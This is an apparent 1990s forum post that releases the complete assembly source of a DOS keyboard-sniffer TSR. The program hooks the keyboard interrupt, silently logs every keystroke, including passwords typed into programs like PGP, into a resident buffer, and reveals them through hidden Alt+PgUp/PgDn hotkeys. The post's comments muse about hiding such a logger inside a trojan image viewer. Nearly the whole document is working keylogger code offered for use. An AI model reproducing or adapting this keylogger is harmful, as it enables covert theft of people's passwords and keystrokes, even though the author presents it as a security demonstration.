For Dos operating systems. I wrote this in a weekend, and no longer wish to work with it. I will release it as is....do not ask for support, and if you know where I work, they have no idea I am doing this, so don't make any assumptions about my company's software. But, here it is, the source code for a keyboard sniffer program. After you assemble it, link it, turn it into a .com file, and execute it, just hit <alt> page up for a display of the first half of the buffer, and <alt> page down for a display of the second half of the buffer. Then, test it out with pgp or other dos based programs that ask you for a password (use a fake one), and you will probably see how insecure most of these programs are. Mike -----cut here---- ; Keyboard sniffer TSR ; ; asm kbs.asm ; link kbs.obj ; exe2bin kbs kbs.exe ; ;Notes: This is a keyboard sniffer program. It is intended to ; show how easy it is to make your computer insecure. ; This program hooks itself to the keyboard interrupt routine. ; It is not difficult to imagine a routine that simply replaced ; the keyboard interrupt routine, or simply monitored the ; keyboard buffer and pointers from another interrupt routine, ; e.g., the timer interrupt. ; It is also not a stretch of the imagination to say that it is ; possible that a program that monitors the keyboard buffer and ; display area for things that look like passwords (e.g., look ; for certain prompts, store next 500 characters) to either an ; unused area of the disk, or a hidden file, already exists. ; That is to say, the FBI, for example, could have already ; hired some programmers to come up with a .gif viewer that ; also attaches a keyboard sniffer to your system snooping ; for passwords, in the hopes that if and when the find a ; suspected (fill-in-the-blank) "crimminal", all they have ; to do is find the secret file created with their trojan TSR. ; ; ; ; KB_INT_NUM EQU 9 ;keyboard interrupt BUFFER_SIZE EQU 0b94H ;our buffer size, 19 lines 2 buffers TLC EQU 0C9H ;top left corner HL EQU 0CDH ;horizontal line TRC EQU 0BBH ;top right corner VL EQU 0BAH ;vertical line BLC EQU 0C8H ;bottom left corner BRC EQU 0BCH ;bottom right corner LCT EQU 0CCH ;left center tap RCT EQU 0B9H ;right center tap ALTPGUP EQU 9900H ALTPGDN EQU 0A100H ROM_BIOS_DATA SEGMENT AT 40H ;bios statuses and kb buffer ORG 1AH ;absolute KB_HEAD DW ? ;head of kb buffer KB_TAIL DW ? ;tail of kb buffer KB_BUFFER DW 16 DUP (?) ;The keyboard buffer KB_BUFFER_END LABEL WORD ROM_BIOS_DATA ENDS CODE_SEG SEGMENT ASSUME CS:CODE_SEG ORG 100H ; .com file FIRST: JMP INSTALL_INTERRUPTS_MAIN ; data area... buffer db BUFFER_SIZE dup ('*') head dw 5 tail dw 5 cnt dw ? ind dw ? show_buff dw 0 lkb_tail dw 0 ;last key board til ;this is for programs that leave ;the character in bios buffer ;past one interrupt, e.g., pgp OLD_KB_INTERRUPT LABEL WORD OLD_KB_INTERRUPT_ADDR DD ? row db ? idstring db "0x5fcf9eb78a01ef28" ;18 long KBINTERRUPT PROC NEAR ASSUME CS:CODE_SEG PUSH AX PUSH BX PUSH CX PUSH DX PUSH DI PUSH SI PUSH DS PUSH ES PUSHF CALL OLD_KB_INTERRUPT_ADDR CLI ASSUME DS:ROM_BIOS_DATA MOV BX,ROM_BIOS_DATA MOV DS,BX ; point ds to ROM_BIOS_AREA... MOV BX,KB_TAIL CMP BX,KB_HEAD JE nogo1 ;origianal keyboard interrupt has deleted char jmp short go1 mov cx,bx nogo1: jmp kbexit2 ;too far for je... go1: ;check to see if we already processed this character mov cx,bx ASSUME DS:CODE_SEG mov bx,cs mov ds,bx cmp cx,lkb_tail ;is it the same as last time? jne go3 ;no ASSUME DS:ROM_BIOS_DATA MOV BX,ROM_BIOS_DATA mov ds,bx jmp kbexit2 go3: mov lkb_tail,cx ;save new tail ASSUME DS:ROM_BIOS_DATA MOV BX,ROM_BIOS_DATA mov ds,bx mov bx,cx SUB BX,2 CMP BX,OFFSET KB_BUFFER ;did we wrap around? JAE NO_WRAP ;no MOV BX,OFFSET KB_BUFFER_END ;yes SUB BX,2 NO_WRAP:MOV DX,[BX] ; char in DX now... CMP DX,ALTPGUP ;altpgup hit? jne checknext1 ;no jmp short go2 ;yes, display first half of buffer checknext1: CMP DX,ALTPGDN ;altpgdn hit? jne nogo2 ;no mov kb_tail,bx ;delete alt pgdn from kb_buffer assume ds:code_seg mov cx,bx mov bx,cs mov ds,bx xor bx,bx ;garbage last tail mov lkb_tail,bx mov bx,offset buffer;yes, display second half of buffer add bx,BUFFER_SIZE/2 mov show_buff,bx call dump_buffer ;dump second half jmp kbexit1 nogo2: jmp save_key ;too far for jne.. go2: assume ds:rom_bios_data mov cx,bx mov bx,rom_bios_data mov ds,bx mov bx,cx mov kb_tail,bx ;delete '<alt> pgup' from kb_buffer assume ds:code_seg mov cx,bx mov bx,cs mov ds,bx xor bx,bx ;garbage last tail mov lkb_tail,bx mov bx,offset buffer ;first half buffer mov show_buff,bx call dump_buffer ;dump first half jmp kbexit1 save_key: ASSUME DS:CODE_SEG MOV BX,CS MOV DS,BX mov bx,offset buffer add bx,head mov [bx],dl ;dh? inc bx mov cx,offset buffer add cx,BUFFER_SIZE cmp bx,cx ; at end of buffer? jz wrap_it ; yes sub bx,offset buffer mov head,bx jmp kbexit1 wrap_it: xor bx,bx mov head,bx jmp kbexit1 kbexit1: ASSUME DS:ROM_BIOS_DATA MOV BX,ROM_BIOS_DATA MOV DS,BX kbexit2: POP ES POP DS POP SI POP DI POP DX POP CX POP BX POP AX STI IRET KBINTERRUPT ENDP dump_buffer PROC NEAR ASSUME DS:CODE_SEG MOV BX,CS MOV DS,BX STI jmp over_data sl1 db " Keyboard Sniffer Program ",0 sl2 db " Short Circuit, Inc. Version: 0.72 (Beta), (C)opyright 1995 ",0 over_data: mov dh,0 ;row mov dl,0 ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,1 ;count? mov al,TLC ;top left corner mov ah,0ah ;service int 10h mov dh,0 ;row mov dl,4fh ;column = 79 dec mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,1 ;count? mov al,TRC ;top right corner mov ah,0ah ;service int 10h mov dh,17h ;row mov dl,0 ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,1 ;count? mov al,BLC ;bottom left corner mov ah,0ah ;service int 10h mov dh,17h ;row mov dl,4fh ;column=79 dec mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,1 ;count? mov al,BRC ;bottom right corner mov ah,0ah ;service int 10h mov cx,4eh ;78 dec mov dh,0 ;row mov dl,1 ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,4eh ; 78 characters mov al,HL ;horizontal line mov ah,0ah ;service int 10h ;put char mov dh,3 ;row mov dl,1 ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,4eh ; 78 characters mov al,HL ;horizontal line mov ah,0ah ;service int 10h ;put char mov dh,17h ;row mov dl,1 mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov bh,0 ;page mov cx,4eh ;count mov al,HL ;horizontal line mov ah,0ah ;service int 10h ;put char mov cx,16h ;22 lines dline: mov dh,cl ;row mov dl,0 ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov dx,cx ;save cx mov bh,0 ;page mov cx,1 ;count mov al,VL ;vertical line mov ah,0ah ;service int 10h mov cx,dx ;restore cx mov dh,cl ;row mov dl,4fh ;column mov bh,0 ;page mov ah,2 ;service int 10h ;set cursor position mov dx,cx ;save cx mov bh,0 ;page mov cx,1 ;count mov al,VL ;vertical line mov ah,0ah ;service int 10h mov cx,dx ;restore cx loop dline mov dh, 3h ;row mov dl, 0 mov bh, 0 ;page mov ah, 2 ;service int 10h ;set cursor position mov bh, 0 ;page mov cx, 1 ;count mov al,LCT ;horizontal line mov ah,0ah ;service int 10h ;put char mov dh, 3h ;row mov dl, 4fh ;column mov bh, 0 ;page mov ah, 2 ;service int 10h ;set cursor position mov bh, 0 ;page mov cx, 1 ;count mov al,RCT ;horizontal line mov ah,0ah ;service int 10h ;put char mov cx, BUFFER_SIZE/2 -1 ;going backwards... mov ind, cx mov cl, 13h dorows: mov row, cl mov cx, 4eh ll0: mov cnt, cx mov dl, cl ;to end of line ;inc dl ;cnt was 1 too small mov dh,row inc dh inc dh inc dh mov ah,2 ;set cursor position mov bh,0 ;page 0 int 10h ;move to 0,0 mov bx,show_buff ;show_buff points to correct half... add bx,ind ;ind must have index, *(show_buff + ind) mov al,[bx] mov bh,0 mov cx,1 mov ah,0ah int 10h dec ind ;decrement index mov cx,cnt loop ll0 mov cl,row dec cl jnz dorows mov dh,1 mov dl,1 mov bx,offset sl1 call print_string mov dh,2 mov dl,1 mov bx,offset sl2 call print_string mov dh,18h mov dl,4 mov bh,0 mov ah,2 int 10h ;move back to correct position ret dump_buffer ENDP print_string PROC NEAR ;assumes ds==cs ;null terminated string, address in bx... ;row in dh ;col in dl ;uses bios int 10h, safe for tsr programs... jmp over_local_ps sadd dw ? over_local_ps: mov sadd,bx np: mov bh,0 mov ah,2 int 10h mov bx,sadd mov al,[bx] cmp al,0 ;is it 0? je pse ;yes, return inc bx mov sadd,bx inc dl mov bh,0 mov cx,1 mov ah,0ah int 10h jmp np ;next print (next character) pse: ret ;done, encountered 0 print_string ENDP ; Anything before this point stays in memory if it's okay to install... ; tests to see if kbs is already installed, returns ; zf=1 if it was already installed. ; zf=0 if it has not been previously installed. kbia PROC NEAR ;assumes ds points to code segment... MOV AH, 35H ;put old vector into es:bx MOV AL,KB_INT_NUM INT 21H mov si,offset idstring ;ds:si points to our string mov di,bx sub di, 12h ;es:di points to other string? mov cx,12h REPE cmpsb ret kbia endp INSTALL_INTERRUPTS_MAIN PROC NEAR ASSUME DS:CODE_SEG mov bx,cs mov ds,bx xor bx,bx mov head,bx mov tail,bx jmp over_temp_data instg db "Kbs installed.",0dh,0ah,"$" notinstg db "Kbs already installed.",0dh,0ah,"$" over_temp_data: call kbia je dont_install_it jmp install_it dont_install_it: mov dx,offset notinstg mov ah,09h int 21h mov bx,cs mov es,bx int 20h install_it: MOV AH, 35H ;put old vector into es:bx MOV AL,KB_INT_NUM INT 21H MOV OLD_KB_INTERRUPT,BX MOV OLD_KB_INTERRUPT[2],ES MOV AH,25H ;set new keyboard interrupt LEA DX,KBINTERRUPT INT 21H mov dx,offset instg mov ah,09h int 21h ASSUME DS:ROM_BIOS_DATA MOV BX,ROM_BIOS_DATA MOV DS,BX mov cx,KB_TAIL ASSUME DS:CODE_SEG MOV BX,CS MOV DS,BX mov lkb_tail,cx MOV DX, offset kbia ;ds:dx end of stay resident INT 27H ;allocate and stay resident INSTALL_INTERRUPTS_MAIN ENDP CODE_SEG ENDS END FIRST ; P.S. I haven't programmed in asm in a long time, no fair flaming ;me for poor programming style/ineffecient code. ; Use this code at your own rish.